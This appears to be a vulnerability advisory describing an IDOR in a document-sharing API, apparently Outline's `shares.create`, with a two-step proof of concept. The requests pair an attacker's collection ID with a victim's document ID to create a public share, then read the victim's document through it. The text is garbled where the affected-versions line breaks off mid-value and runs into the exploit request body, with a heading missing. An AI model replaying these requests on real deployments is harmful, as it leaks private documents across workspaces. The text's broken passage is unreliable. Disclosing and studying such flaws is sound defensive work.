# IDOR in document share creation allows unauthorized access to private documents across workspaces ## Vulnerability Overview - **Vulnerability Type**: Insecure Direct Object Reference (IDOR) - **Vulnerability Description**: The `shares.create` API endpoint contains a critical authorization bypass vulnerability. When a request provides both `collectionId` and `documentId`, the authorization logic only checks access permissions for the collection, completely ignoring the document. This allows authenticated attackers to generate valid public sharing links for any document, including those in other workspaces. - **Affected Versions**: `>= 0.86.0, { "collectionId": "attacker_collection_id", "documentId": "victim_document_id", "published": true } ``` **Response:** ```json { "id": "share_id", "documentId": "victim_document_id", "collectionId": "attacker_collection_id", "published": true, "url": "https://outline.example.com/s/share_id" } ``` ### 2. Retrieve Document Content The attacker uses the generated share ID to retrieve the victim's document via the `documents.info` endpoint. **Request:** ```http GET /api/documents.info?shareId=share_id HTTP/1.1 Host: outline.example.com ``` **Response:** ```json { "id": "victim_document_id", "title": "Secret Document", "content": "Full document contents...", "published": true, "shareId": "share_id" } ```